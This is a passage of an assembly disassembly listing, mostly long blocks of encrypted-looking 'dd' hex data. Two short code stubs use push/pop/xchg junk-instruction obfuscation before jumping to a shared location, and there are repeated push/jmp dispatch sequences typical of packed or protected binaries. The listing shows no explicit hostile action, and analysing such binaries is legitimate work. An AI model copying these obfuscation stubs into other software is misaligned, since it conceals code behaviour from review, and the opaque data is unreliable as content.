4DCB3EA7h, 3A4E93B0h, 0CDB7C72Ch, 4DD24F82h, 0C72C3A8Ch dd 47C165E3h, 0FC68F911h, 0FB47h, 0DC1BBB00h, 1A579C39h dd 1BB44F1Ch, 7C1B5A2Fh, 0CFA877FEh, 17B7932Ch, 73C147FEh dd 62B8F398h, 0AAC51ABEh, 0DAF88407h, 0B8D0BEE4h, 6A89A246h dd 47EA8Dh, 3EC8BACAh, 0C269915Eh, 0BAEC91Eh, 0B558976Ch dd 5467FE18h, 0FF3FFAA9h, 0B24D1ECEh, 0A42BB230h, 0C4F55786h dd 8606C652h, 0EDFD896Eh, 0D8770D49h, 0A32A9F26h, 12EE8D1Ch dd 5BE1643Dh, 0A3052BA1h, 499019CAh, 28CD0E1Eh, 0F3D87594h dd 139566DFh, 678A0E95h, 31E54D20h, 16B9B68Bh, 2A2DD179h dd 0D2751C55h, 794DF4FDh, 43C28914h, 51F9E1AEh, 0F1000002h dd 32C96803h, 0ED02A544h, 24BB5E05h, 0F60DAC47h, 90B554FBh dd 3AAC70Ah, 0BE618F64h, 0AA9C41Bh, 0C4679067h, 8D12B125h dd 38E8DC4Ch, 6D784A23h, 3534D1DFh, 0C569CAB3h, 0FFA24930h dd 98670FE8h, 0A534BD60h, 0BC3EC89Eh, 9E33CA49h, 0B84E3EC8h dd 1119B83Ah, 9B22A73Eh, 0F4AE1E14h, 0C043C1C4h, 0B23FBE45h dd 5D52C72Ch, 0F456EF92h, 0A39D276h, 0C72CB2F7h, 209F4731h dd 0C72CB2D9h, 37D052B8h, 350EB5BCh, 0DFD9A39h, 786290DFh dd 6D14DEB5h, 0EFEE75D0h, 82C72CB2h, 38E28604h, 3A390639h dd 0CF05FF9Fh, 89FC6980h, 0F7h, 8DF6DF9h, 943B374Fh, 8C00FA08h dd 35D817ECh, 7316E1AEh, 0C0B93AD3h, 900F9219h, 3EC84A49h dd 9D12A228h, 59830BF5h, 7FC45D01h, 3EC81C4Dh, 44C76A85h dd 1CBB42C1h, 70D63EC8h, 5D9A71D0h, 5B281DBAh, 2ADC7C1Bh dd 32AF3693h, 0C81C2CADh, 21C5433Eh, 0A6CCA31Eh, 912ECDA8h dd 0AC9E37B9h, 3F65470Ch, 72EFC4F5h, 2D3DECEDh, 610583C7h dd 4EC05FE5h, 0DB7A7BF7h, 38A0842h, 146FA7Eh, 0BEF4262Eh dd 0DA6AC0B4h, 68083E8Ah, 132EB5E3h, 0BD40C63Dh, 3676B438h dd 0BDA9B9F2h, 6ADC419h, 24C7B07Fh, 1FBF8Bh, 97670EEBh dd 43CCB534h, 0ED2DAD82h, 8D000000h, 0CE25C45Fh, 895E01A0h dd 0D027CA71h, 926908A3h, 3C21C067h, 0A74E2BA6h, 6205F308h dd 0AE4D28BFh, 58FBF40Bh, 17E05B9h, 38E8DFF8h, 1BECD697h dd 439837DEh, 6BEE9134h, 19B65D94h, 1BC78D31h, 579C39DCh dd 20D27518h, 26AD3099h, 0C4EBCBDBh, 648F289Eh, 0B249E88Bh dd 61A214C5h, 0A3F7406h, 6354EF88h, 0E1C12BE5h, 81A7D864h dd 72BB5409h, 22BB5E99h, 0D39E8828h, 75841CA0h, 5DDC19F4h dd 0A84B24B9h, 0B05F209h, 837348EFh, 81FF4BE4h, 0E1F877FAh dd 27C90C60h, 9125A548h, 0D28BC31Bh, 0C266E47Bh, 0CE698A69h dd 0DC7F7847h, 0FD27E33Ch, 5102ED72h, 3F2D672h, 4EF16F50h dd 0ACC4BEB9h, 3A7E7F04h, 7311C90Ch, 70F258F5h, 0D8A16ED7h dd 7BFD9CDAh, 1AC868E2h, 10h, 6871EE73h, 0AEC90C3Ah, 26A420BFh dd 0BC86BC82h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch dd 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h dd 59545124h, 4C181h, 0E9830000h, 240C8704h, 4EC835Ch db 89h, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebx mov ebx, 6209655h push esi mov esi, ebx mov edi, esi pop esi pop ebx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi add dword ptr [esp], 92D608Bh pop dword ptr [ecx+8] sub dword ptr [ecx+8], 92D608Bh mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_53531C ; --------------------------------------------------------------------------- dw 86F6h dd 0A3A0B8A4h, 0C5030620h, 73CDE0FFh, 6EEE0D4Ah, 9AD970A1h dd 3014784Eh, 0DF2A566Ah, 493E092Eh, 6754199Bh, 0BD081B52h dd 2DEB6B51h, 0 dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 44155A03h dd 0B13E922h, 7A680000h, 0E90620A5h, 0FFFAD9A4h, 20A6C968h dd 0D99AE906h, 0C668FFFAh, 0E90620A7h, 0FFFAD990h, 20A88268h dd 0D986E906h, 6F68FFFAh, 0E90620A9h, 0FFFAD97Ch, 20AA6A68h dd 0D972E906h, 668FFFAh, 0E90620ABh, 0FFFAD968h, 20ACC968h dd 0D95EE906h, 0EE68FFFAh, 0E90620ADh, 0FFFAD954h, 0EE912C48h dd 9B3EDD19h, 0E8872E44h, 0A245E013h, 0DA7D244Dh, 856C6577h dd 0CCA43BDEh, 84718629h, 0C2AD42E5h, 0C74E801Fh, 0E8D9B148h dd 63DFD038h, 9B22A73Eh, 8895D90Dh, 5144D06Bh, 1E21C569h dd 58A11EA3h, 373EC8FCh, 4D282DD1h, 14C4EB58h, 5720EF76h dd 986231B4h, 52F654F1h, 59531CB3h, 67E37C1Fh, 73CA4CE9h dd 0FCFAECFFh, 88AC05Dh, 0D65DDB6Fh, 0B24BEE09h, 0AE35F898h dd 3D340496h, 2BCAA489h, 0B33AB892h, 0D17013DCh, 0FD9A3D3Ah dd 7E05C419h, 4A4A7701h, 0AE820837h, 5DA0DAF9h, 5E9842CBh dd 0A1000009h, 429938D3h, 0DDF29534h, 34CB6E15h, 0E6FD9C37h dd 0A0C5640Bh, 0F39AD7FAh, 0CE717F54h, 0FA99D42Bh, 0D4778057h dd 7D028135h, 38E8D87Ch, 1BA81A13h, 7413E2DCh, 0DAA06FF6h dd 10B09A33h, 10B3BC37h, 0A128BD71h, 5977951Ah, 62E8C4F5h dd 63324DDBh, 0A6BD3CC3h, 36D4C72Ch, 2EC7AA6h, 7823BC65h dd 0DC7CFEB0h, 16FD0043h, 7C2AC72Ch, 21558BF5h, 4903FC69h dd 82000000h, 6B579FFh, 0A55B2FDDh, 2CF8DD1Ch, 7216B4C7h dd 0B5DF6DACh, 3AAD0B0h, 4354E06Ah, 0F48F5CABh, 0CD71EF5Bh dd 40C3065Bh, 0F42DE1C3h, 730C7AC4h, 51F0FDD2h, 2C55A8ADh dd 0E4C2C72Dh, 2AD238Dh, 0D1ABFC6Ah, 17000000h, 7564E86Dh dd 9D9F3EAh, 4BC7169Bh, 2C9A3EC8h, 0D578778Ch, 17BEBB38h dd 0FDF8C77Eh, 0E589C15Eh, 0AB44E710h, 0ED8C2F48h, 0C84F9066h dd 0CA6D8A3Eh, 4A7D027h, 0D857DA6Bh, 3EC84F01h, 0D446EA60h dd 3AB93C8Dh, 0C4F561C0h, 0E266ED5Bh, 0B5AFDEAh, 0A7463054h dd 1ABE3C0Eh, 17B207FBh, 0E28B1194h, 1F60C608h, 4EF5FDD6h dd 30F599B1h, 3D13821Eh, 0E8F16E11h, 87CD0FCEh, 27FC7F01h dd 0EF04A34Ah, 608B5B02h, 5E43C342h, 80F09D1h, 22520000h dd 0E313E887h, 244EA544h, 0E605DA7Dh, 1A57AC4Bh, 6B71D473h dd 45E48B66h, 801FC2AEh, 4CEB8A6Bh, 7215B8B7h, 0BF3EC540h dd 0D238E8DBh, 0DF6D69D9h, 0BC6DEFF9h, 0C91EC2E2h, 916609B0h dd 1E24C366h, 9B22A73Eh, 49219216h, 7C860A87h, 105D57DCh dd 88FEC4F4h, 0F08154EFh, 906EC72Dh, 3EE157C1h, 0DF77FC6Ah dd 0CB000000h, 0AF34DC1Bh, 3EC87D2Eh, 0FDEEC341h, 0D85DE062h dd 0C87D825Bh, 0E467DD3Eh, 0C87D9E5Fh, 0B353F13Eh, 0DE14EB5Ah dd 1A559E37h, 0EE6CDE77h, 15BCB54Ah, 7935CB78h, 2ED3EC8h dd 0A67DC05Fh, 0BB8F28C7h, 0F8A9C61Bh, 9C2CE544h, 3FD85A7Fh dd 2D3982D7h, 0C3628C02h, 21836B37h, 0CA991C9Fh, 0E56A0EA9h dd 3B0AEF77h, 2BDF8208h, 740FDC96h, 5E9A6FDBh, 0E9B63DBBh dd 8CCF6F0Ah, 12563E07h, 0C043C13Dh, 0C05F06F3h, 0D7A74E2Bh dd 43C21AB6h, 122BAF80h, 55000007h, 6DD7C17h, 51A649E8h dd 8DF8229h, 5AB150EBh, 74D9781Fh, 0EF96636Eh, 1ABDBB50h dd 0F6956077h, 0D0737C53h, 9916BD31h, 38E8DA40h, 1B744E1Fh dd 2CAD32DEh, 433EC87Dh, 0E8A780B7h, 9210D77Eh, 5D9A7110h dd 73F59063h, 0DC1B4ED4h, 2CA99C39h, 0C87D56A7h, 0FB9B293Eh dd 0C36609E6h, 7D7C037Eh, 143EC87Dh, 884DD276h, 0A93EC87Dh dd 0B12EB514h, 0C4EBD98Eh, 1CA023A1h, 415B9B3h, 0D2A17A30h dd 0CAC9E37h, 0CC7D7A49h, 9EAD814Bh, 4FD65485h, 1A908AC9h dd 26CADCCCh, 5607F007h, 0F3E66C7Eh, 6C0987F5h, 2FB613AAh dd 2A41CEB0h, 13E3613Dh, 43C0D5E4h, 56FDDDB2h, 99000006h dd 0CA21C05Bh, 956A0DACh, 0BC13B65Dh, 5E7514AFh, 284DEC93h dd 0EB925F72h, 16B9B74Ch, 0F2915C73h, 1CBFB84Fh, 45CA497Dh dd 38E8D5B4h, 1B60E2CBh, 579C39DCh, 1BD87518h, 0CF742ADFh dd 160D6004h, 0FBF8FB94h, 0CA94C760h, 3EE85987h, 10C1AE33h dd 0FC59EE3h, 57AD9781h, 8A2A931Fh, 0C147CE4Ch, 0CD8BC5DBh dd 0E847E710h, 857AB62Eh, 7A002h, 2220000h, 1AEh, 7D966B58h dd 0DE23EC8h, 6EA040E3h, 0E66BF2D7h, 0B85B946Bh, 0C87DAA33h dd 3E31C53Eh, 599DA62Bh, 0E76CEF71h, 3EC83A16h, 0F63BDB69h dd 0C4EB9E56h, 0EBB83BC9h, 82C5690Ch, 0ADC8C2ADh, 16ED8C0Eh dd 7D9936D9h, 0CD6C8AE8h, 15981A30h, 0F08D343Eh, 0EE73B65Ah dd 1BB45721h, 0A5D6BD21h, 72F0C31Ah, 0E9789CEh, 0A2283D2Ah dd 0C09E81CEh, 30AA8343h, 569h, 8225C0ACh, 3FE2816Dh, 8C2BD2A8h dd 36D97477h, 8E31D8A1h, 0E118B9EBh, 3840973Ah, 10DDF295h dd 3E39CE71h, 4BCAFC9Bh, 0E8D435C4h, 0DF634C38h, 9C39DC1Bh dd 56A72CA9h, 293EC87Dh, 9E6FB9Bh, 0E310DF66h, 0C69BAF48h dd 0CC6509A8h, 0B90DF8Fh, 0A3A649ECh, 97142F15h, 9E45D49h dd 0FB7DCD6Ah, 4F2BA15Bh, 15A30285h, 689CEC34h, 4A3750DEh dd 0D10F3BC7h, 23C2AC85h, 74A83h, 2B80000h, 0B6h, 22A73E58h dd 0D959149Bh, 8A00C4EBh, 0A0432C03h, 6A0DEA01h, 0D5F449CDh dd 0D5E9CA4Eh, 1E6B984Fh, 1838B77Ah, 73D3475h, 4A25FA81h dd 4F308A7h, 0D157DA61h, 44046964h, 30C95257h, 4FCD779Dh dd 7615E0B9h, 74CD71D9h, 52F502D1h, 0FFF195B5h, 98C0FBAh dd 9DF6078Ch, 0FB89CD77h, 9288D65Bh, 0EFC4374Ah, 8AC05D00h dd 0CDC6AE6h, 5DA023C9h, 6EE4F6B7h, 0B1000004h, 728928C3h dd 0AD42E584h, 647B1EC5h, 0B64DEC87h, 0D07514BBh, 43EA07CAh dd 7E214FA4h, 4AE904DBh, 842750A7h, 0CD52F1E5h, 38E8D70Ch dd 6DB88A63h, 6FF1F7DFh, 39DDBB97h, 1128Bh, 0E86D0500h dd 0C87D926Bh, 0BF49ED3Eh, 28F127D7h, 0AF610583h, 971C9F2Ah dd 0C4EB08DAh, 0AF84077Dh, 6A9C6C0h, 0C05FE169h, 0CA94C2Bh dd 8F16B30Ah, 0BF57010h, 0D259EF3Dh, 0B04FF2FDh, 0DC791C5Bh dd 9F26A33Ah, 0C8B0A6D0h, 4003A325h, 4AFAB5C3h, 7040C637h dd 5DA08B77h, 0D21EBC51h, 15000003h, 469D3CD7h, 11E68928h dd 489F42E9h, 1AF1902Bh, 0B49938DFh, 2FD6A32Eh, 0DA7D7B90h dd 36D5A037h, 90333C93h, 0D956FDF1h, 38E8D600h, 1BB48E5Fh dd 579C39DCh, 0D0556718h, 0B0A13219h, 18C69532h, 0F89BD459h dd 30CF9E75h, 0D67A1D5Bh, 0A85BB37h, 5CD30285h, 2F000000h dd 961DA73Eh, 3EC87D47h, 0AA29AC1Ah, 3EC87D53h, 931A982Eh dd 0F4B2FC0Ch, 4ED573C4h, 0DDEB57CAh, 13B3363Dh, 90374310h dd 1F906AF1h, 6592C72Ch, 39B63BC2h, 0C72C1FA0h, 86A549BFh dd 96D48971h, 0E8CB12CEh, 79CC69E7h, 7C06A1F3h, 1337D073h dd 0CA72B487h, 31FB826h, 1B120000h, 0A3A23BDAh, 5E02A1CCh dd 48CB6E89h, 43DC7B7Bh, 33C86707h, 451AA144h, 0FB02812Dh dd 963EC87Dh, 350EB230h, 0CE00B1BEh, 0DB7E79E3h, 0A08744Fh dd 0B035E988h, 920F9219h, 1442AC06h, 971C789Ah, 3EC8CE46h dd 460BAB19h, 0C4F5EA84h, 13901590h, 0C72DF2CAh, 439A1FA5h dd 1EC72DF2h, 0BE4C08A8h, 0F2DF2221h, 5E48C72Dh, 4533A913h dd 0C49BFC6Ah, 6F6808ABh, 2Ah, 57966DD3h, 7017E3B8h, 21D373D7h dd 29A62D9Ch, 0C4F4AE0Bh, 0AA9936D4h dd 0C72CB257h, 218BE6C0h, 0FC6980ABh, 0C9ADh, 0DC1B1500h dd 1A579C39h, 0DE19DA73h, 2651A23Bh, 69F462Ch, 1E23C644h dd 0EE872251h, 6177BC5Ch, 0EB3EC879h, 5AAAF25Dh, 0E467E9EBh dd 376B9E5Fh, 0B353F1C1h, 0BAE511Eh, 0BF58FBF4h, 44C70257h dd 0A48EDBFh, 69087E3Bh, 129930B5h, 15201C8Dh, 0FBF7CC3Dh dd 0EF8FBB54h, 814ED573h, 0D92ED178h, 0CA25F9A0h, 0FC43C2BFh dd 20FA733h, 22520000h, 0E313E887h, 244EA544h, 0E605DA7Dh dd 1A57AC4Bh, 6B71D473h, 45E48B66h, 801FC2AEh, 4CEB8A6Bh dd 7215B8B7h, 0BF3EC540h, 0D238E8D1h, 0DE1B69D9h, 541E18E0h dd 0B8922BADh, 3740973Ah, 0F941194h, 3EC87DCEh, 0A67E15A1h dd 13385FE6h, 0F12F195h, 2CC0D92h, 25A33EC8h, 966DBB81h dd 0E214B45Bh, 35D8175Bh, 30B530B3h, 0C87D2AB3h, 8F68453Eh dd 79F753ECh, 0AE5250D5h, 200DC4F4h, 3515B259h, 72F0935Ch dd 0B26B6ED5h, 0EA94C72Ch, 80C7FD67h, 8A07FC69h, 2CBEF405h dd 59FD8BC7h, 0C060h, 0DC1BE200h, 1A579C39h, 0F3ACEA6Eh dd 9CD8DBCh, 0C8107980h, 26AD183Eh, 3EC810D7h, 1C9E1CAAh dd 143EC083h, 0FFF83EC8h, 0F00AD95Ch, 0FA9EAC49h, 8ABC41Bh dd 0A912A76Fh, 9DDB5854h, 23AA6AFAh, 3CC34AC8h, 0C4F5426Eh dd 32E48301h, 1A971EABh, 412F2D45h, 0B9831C9Eh, 0B7D5F15h dd 8C0F917Ch, 2CC9F607h, 5BFB89C7h, 126CA8D6h, 961DAB3Dh dd 6609B0C9h, 0EDC16891h, 43C3E208h, 0EAE5F5BAh, 2D000000h dd 0EE05A43Fh, 29BE6100h, 0F007AA51h, 32C96803h, 5C01A047h dd 0C76E8B46h, 2A5D328h, 0CE6D885Fh, 0F89BD42Bh, 61DE6559h dd 38E8D098h, 1B8C36F7h, 439837DEh, 350A9134h, 17F69A39h dd 39DC1B0Fh, 544826B2h, 0AE4343B0h, 0C886A831h, 0BF41C73Eh dd 2ED061Fh, 7CB75D51h, 1931CE75h, 9B9E2589h, 31887A1Dh dd 19973241h, 56890F92h, 93B25E65h, 0AEC38828h, 0C1C4EB5Dh dd 2E49AA43h, 1DBCB986h, 17A24594h, 0C8A01CC7h, 0A0F4C082h dd 7AA28AAh, 0E1806D42h, 48CEF844h, 0C91E2DB2h, 2552A747h dd 2AA84F2Bh, 0FEA5CCA3h, 6AA4925h, 7594182Dh, 0E0A3F369h dd 0C8282DD1h, 8223703Bh, 2750D59Ch, 1C9E452Dh, 0E689667Dh dd 2EC9AA49h, 44B7991h, 2ACD707Fh, 74F79AD5h, 0EB5E85E8h dd 0E68AE5ECh, 38D4Dh, 86030000h, 3ED91BBCh, 822552A1h dd 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h dd 7C234FA4h, 47E610E3h, 1E6824AEh, 89000051h, 89532434h dd 4C381E3h, 83000000h, 1C8704EBh, 3C895C24h, 0E6895624h dd 4C681h, 0EE810000h, 4, 5C243487h, 68240C89h, 289Fh dd 0B9240C89h, 78EE345Dh, 427AF181h, 0F1813FFEh, 20187806h dd 0F3F18149h, 896128AAh, 8B5459CFh, 0C481240Ch, 4, 2B2868h dd 243C8900h, 8B08418Fh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_53531C ; --------------------------------------------------------------------------- db 6Eh, 0E7h, 59h dd 0AEFDB831h, 0C5030620h, 6F52E0FFh, 38D75518h, 0ADF345CAh dd 7F4D27CFh, 0E1E16942h, 18247A0Eh, 7E5B119Ah, 98E911CAh dd 94000000h, 5000000h, 1000000h, 28000000h, 200000Ah dd 20h dup(0) dd 59000000h, 0E96F107Ch, 0B50h, 20B1D668h, 0CDCAE906h dd 1768FFFAh, 0E90620B3h, 0FFFACDC0h, 20B41068h, 0CDB6E906h dd 9E68FFFAh, 0E90620B4h, 0FFFACDACh, 20B5BE68h, 0CDA2E906h dd 1268FFFAh, 0E90620B6h, 0FFFACD98h, 20B92368h, 0CD8EE906h dd 0FD68FFFAh, 0E90620B9h, 0FFFACD84h, 3EE17C78h, 8B2ECDA9h dd 38D77E74h, 9235D0A3h, 0EA8D343Dh, 757C5587h, 9CD42BCEh dd 748156F9h, 0D29D32D5h, 0B75E902Fh, 0E8CDA138h, 56EFC038h dd 3AB6AAD2h, 7C1C4566h, 39DC1BB6h, 7518579Ch, 309920D2h dd 1D5B28ADh, 0C96DDD7Ah, 0F5594684h, 0D26BD9C4h, 2CA16C71h dd 64EB99C7h, 6991C2FAh, 3C350AFCh, 5AB8F195h, 4D000000h dd 38D87776h, 6BE86DF2h, 3EC87D92h, 402349EDh, 68134E93h dd 8DD446EAh, 783AB93Ch, 0E3C4F465h, 667BC865h, 0A0C72DE7h dd 0A29A33DAh, 95B34EB5h, 6F8A5F8Fh, 0A7C42FC8h, 80CF9F0Ch dd 0B3BE6852h, 24C3B380h, 7D33BF8Bh, 310DE9B2h, 1349C363h dd 45FC69BCh, 0C1h, 39DC1BBDh, 731A579Ch, 3BDE19DAh, 752651A2h dd 35BDC33h, 60FF81F9h, 0C8788BDBh, 0D97C7B3Eh, 33D6A136h dd 0E4E57C9Ah, 0AF78E261h, 75133B0Ah, 309920D2h, 156026ADh dd 17EC3D12h, 559E37D6h, 68E27B16h, 44E711EAh, 0B014A8A4h dd 14B0B8F5h, 0DB61E466h, 8EDC936Ch, 0E5680865h, 9D3CE30Eh dd 0B4842B46h, 43C3BEC9h, 78456D7h, 45000009h, 16ED8C27h dd 419639D8h, 18EF9239h, 4AA140DBh, 84E9882Fh, 0DF86735Eh dd 2ACDAB40h, 0E6857087h, 20C3AC43h, 49C64D81h, 38E8CCB0h dd 1B64DECFh, 0DFB437DEh, 8021630Ch, 0DCFBE685h, 0CB66855Eh dd 99781832h, 3B3B3542h, 0E9862D45h, 0BE61DF61h, 22A73E78h dd 0AE1E149Bh, 37BAC4F4h, 2CB221B8h, 0F1CA40C7h, 81C96605h dd 4AE361DDh, 0C7616DFBh, 121C7409h, 5A14E96Eh, 0E112C72Ch dd 2D4AA946h, 0DB58ED8Ah, 0C72C5A02h, 1903E75Dh, 64422856h dd 0D92DA30Dh, 0ED2BFC68h, 9A000000h, 6D0AA9C5h, 1BF339DDh dd 0A99C39DCh, 893C1D23h, 69BD61B5h, 97A32F06h, 64791D86h dd 0BC638F8Dh, 8A3D023h, 0DB5DDB6Fh, 0CB710142h, 0BAB53EC8h dd 94637817h, 5B956AF1h, 17FF18B8h, 21C5B0C2h, 0C8D35BA2h dd 52D0363Eh, 54C64DD0h, 0E0C4F5FDh, 0FD1FDE65h, 0D472C72Dh dd 0FD0BD251h, 0E066C72Dh, 2810440h, 0C72DFDFBh, 2BB23096h dd 0FDD029A6h, 0C2AFC72Dh, 0D27815B4h, 9D91B050h, 75FA8148h dd 3D1358ACh, 930E9533h, 0C0BAB4BCh, 4CCE7C19h, 731A57ACh dd 4BF2FFD4h, 0C3200A7Bh, 0DFFB9443h, 7C6h, 0AA4DE804h dd 0D77A1955h, 0B453FA00h, 0EB14C1Fh, 0B65900F9h, 0B9C01193h dd 60986F12h, 0A8C51ABDh, 66916609h, 13B224C3h, 0E8CE4D8Ch dd 774B2438h, 1AE0DE1Bh, 0FB69E773h, 0DC53D60Dh, 4B24BB5Eh dd 0EB842751h, 0F83EE15Fh, 9C39DC1Bh, 73B923A9h, 0E6668ADh dd 0B75A956Ah, 6A5FE618h, 0EBD35CE3h, 20A6C4EBh, 6A9C69Dh dd 686DDC63h, 73CEC728h, 0D9A6AB4Eh, 0E466FF9Ah, 0AD063044h dd 0A52AB118h, 3D154C33h, 0F0BF46C4h, 7BCA630Ah, 0C8CE5F4h dd 8C0E7CCDh, 0CA4EF7ECh, 3B228992h, 36572962h, 5E1F581Fh dd 0A5F73CDCh, 0B8C7BDh, 88D10B9h, 65E00384h, 16BA04C4h dd 0F913B11h, 9C08B49Bh, 1CE2487h, 69AD4AC8h, 0A16EF5D4h dd 6D14DDD7h, 58F852EBh, 0D7314ED5h, 0A6249D09h, 5A16A21Fh dd 631542DBh, 0CFA83DE1h, 79768D2Ch, 268702D6h, 1CF1E3C5h dd 6CDBEh, 4EE90B00h, 7B1A54ABh, 44EB07DCh, 821D4EA5h dd 4AF108DFh, 0B120C2A7h, 697E21C8h, 0B64DEC8Fh, 627918B7h dd 9B4FF295h, 0C9627BF8h, 2CFD38E8h, 1BE86D96h, 28B13ADDh dd 473EC87Dh, 56EB1DC1h, 5223F073h, 951013B3h, 7710AFBEh dd 0A1EE33D3h, 34C4EB2Dh, 37400F96h, 0FEF8FB94h, 684C65Fh dd 9D442Dh, 1EA3A64Ah, 4E2B2951h, 0BE8C29A7h, 0AA9C51Ah dd 0E10DE267h, 1A5A542h, 0CA6302ECh, 0DBAB4E29h, 49DBACC6h dd 3FCB0FA0h, 7D000006h, 9E35D46Fh, 798E31D0h, 0A037DA81h dd 429938D3h, 8CF19037h, 0D77E7B56h, 32D5A338h, 0DE7D788Fh dd 28CBA43Bh, 31AE5589h, 38E8C9A8h, 3E5CE6C7h, 149B22A7h dd 0C4EB2D8Bh, 0F396614Eh, 0D60BE25Ah, 62042479h, 4DB62E0h dd 75A948EBh, 0D14ED5ECh, 0C71759FCh, 0D38D573h, 78EB107Fh dd 0B65AA824h, 17ED6B71h, 65EC9AC7h, 6445C5FBh, 4893FCh dd 6DEF0000h, 7B5213DFh, 7D00BE86h, 0C807E7F6h, 6C0C7A3Eh dd 1BA21FBAh, 0C807B994h, 2253203Eh, 0E260EA83h, 7FBFE45h dd 39353EC8h, 0FBF6FD9Ah, 0B27CBB54h, 9D87719Fh, 2FF068D2h dd 7660285h, 0DC000000h, 19402h, 966D5800h, 3119B659h dd 70F7F98Dh, 0D65DE0E9h, 0C4F55960h, 0E75C55F3h, 9681F0BCh dd 0E953489h, 48910E93h, 2774F251h, 44951AA1h, 1B74F251h dd 464409ADh, 0D98ECE80h, 0E573D26Bh, 0C6B04871h, 30BC8E27h dd 963A62C4h, 69ECDD64h, 0F7B0ADEAh, 931AB080h, 7110B3BCh dd 0E6BA5D9Ah, 8DFB11B7h, 1FAE2C01h, 5D000005h, 7E55F48Fh dd 0D92ED170h, 8057FAA1h, 0A239D873h, 0EC9130D7h, 37DE1BB6h dd 92354398h, 3EDD18EFh, 882B449Bh, 0D14EF5E9h, 38E8C808h dd 6DBC8667h, 15B95896h, 7B14B7C0h, 83469Bh, 0F5766983h dd 0E58402C4h, 6A3EE10Eh, 49E00A41h, 0CB28B27Bh, 9000004h dd 5AB150EBh, 5DA7D1Ch, 4CA346EDh, 0EE5841Fh, 0B89D3CE3h dd 1BC2AF22h, 0E689677Ch, 22C1AC43h, 0EC8F687Fh, 75FA994Dh dd 38E8CB64h, 6D9032FBh, 39DC1BE8h, 0D425AE9Ch, 0AB3EC87Dh dd 8B64791Dh, 0CBA44FE8h, 7D5D9C23h, 96343EC8h, 16E07B14h dd 16B9B63Bh, 0B6417773h, 47170284h, 6B000000h, 0BB8CDF6Dh dd 0CF43C704h, 0A68FD2Fh, 89B34CEBh, 0E9D9F9C9h, 67E967A9h dd 649261E4h, 461C21C5h, 19C4F5AAh, 0DE771E54h, 936AE96Ch dd 0EEC72DB6h, 63DDA58h, 0C72DB6F3h, 85EF821Ch, 0FC6A7D4Fh dd 3409h, 0A73E7900h, 8D0BAACBh, 0BCB48B06h, 18B07519h dd 17C4F4B2h, 0CED627ACh, 1BA9C72Ch, 2D49169Dh, 9664EB8Eh dd 90C72CCEh, 0CE25C467h, 766401A0h, 3F2h, 22A73ECCh, 45BE149Bh dd 0A321C4F5h, 0DF1EA520h, 0B2C72C94h, 589B7414h, 54E37C1Fh dd 0A02587CAh, 0A71DA229h, 383D11ACh, 7B744BD2h, 38D57481h dd 53F79012h, 0AF8A53D0h, 5FE5CD01h, 6C8B60BFh, 40BF42C9h dd 0CD01AFB9h, 5D9972D8h, 852921BEh, 0F6D36AACh, 34D7A06Fh dd 0AFAB32B1h, 40C6CD01h, 88169DA0h, 4B373CA0h, 63EA20BDh dd 0B5884DD5h, 5F0ECD1h, 0DA44E466h, 638F6497h, 0A8C71CBCh dd 0AECAC0AEh, 5AD8720Bh, 963936BDh, 51CF51F9h, 2F8F5CAh dd 31D553F6h, 309920D2h, 4BE826ADh, 0D864295Bh, 1E721D0Eh dd 78B454B8h, 717E7512h, 52D931CEh, 31CE757Dh, 0C48B7519h dd 13B6C291h, 1ACAC27Ah, 8C92163Ah, 21B86A0Eh, 1515AF9Ah dd 0F3756FFFh, 521EF570h, 8C4A0FAFh, 8F2367F7h, 45D356F9h dd 0FEFC3674h, 3D8782Fh, 91B451F4h, 0E66BD90Bh, 0BF399069h dd 0C959EFDFh, 74F77379h, 0BFB6EEEFh, 630381DFh, 23BC638Eh dd 0C2470A14h, 0BB6F12B5h, 0A520A326h, 63FCA3CEh, 4AC86390h dd 0B917A1A6h, 5BE12582h, 0C4469EE2h, 9A963A61h, 9760932Ch dd 0ACAF5BF4h, 0A353AA29h, 412EE594h, 55F59239h, 86C933D3h dd 0D46F7C53h, 0BD6F0F3Bh, 77AB9328h, 28C06EBBh, 129C23AAh dd 0DE1FA98Ah, 0A747E211h, 429B18ABh, 1DEB8996h, 96DC1DA2h dd 15B3EB89h, 5D721593h, 0BE5D9892h, 2750A33Ch, 0DC60E584h dd 3340F61Fh, 0F8A30C98h, 0B9E08713h, 0E41852C8h, 3E8BD244h dd 799238B7h, 0F78D11B4h, 8110E55Eh, 1FFDF1EDh, 0B16EE650h dd 3AE8D1AAh, 5A000000h, 3F34DF6Dh, 0F7832253h, 5AFBB393h dd 25CD3EF4h, 0FD2FCF51h, 55DA6168h, 0C4F4B85Fh, 56ED8A00h dd 0C72C9883h, 8CBF926Ch, 7B14BBB7h, 7FF52FCFh, 0D9FC6996h dd 8Ch, 39DC1B69h, 731A579Ch, 3BDE19DAh, 832651A2h, 79175FE4h dd 0E00F3EC8h, 2A459A3Dh, 26A44730h, 91388D89h, 0A2A7850Ah dd 0D2383B0Ah, 6366FB2Fh, 0FCA63E0h, 1FA53D12h, 3AAC79Ch dd 0BB628F64h, 0C3C9D4EBh, 0BD1DF243h, 1BAh, 0BE61FCF8h dd 0BAE4D29h, 0B857FEF4h, 12B55023h, 6A0DB4BDh, 0F5FCD507h dd 1C54AB4Eh, 0F401D679h, 521DB255h, 37DE10AFh, 0E8C421B8h dd 0D36F4038h, 0B659966Dh, 788D3119h, 0A037DA81h, 8D9534D7h dd 0B75A966Dh, 9A8C2C1Eh, 80FF8643h, 0C4F4AEA2h, 152EC73Dh dd 0C72CB2C0h, 3637313Eh, 777C1997h, 0B539D679h, 503A68E7h dd 0BB319BB6h, 9DFC6980h, 0A2h, 39DC1B25h, 731A579Ch, 0B55023F0h dd 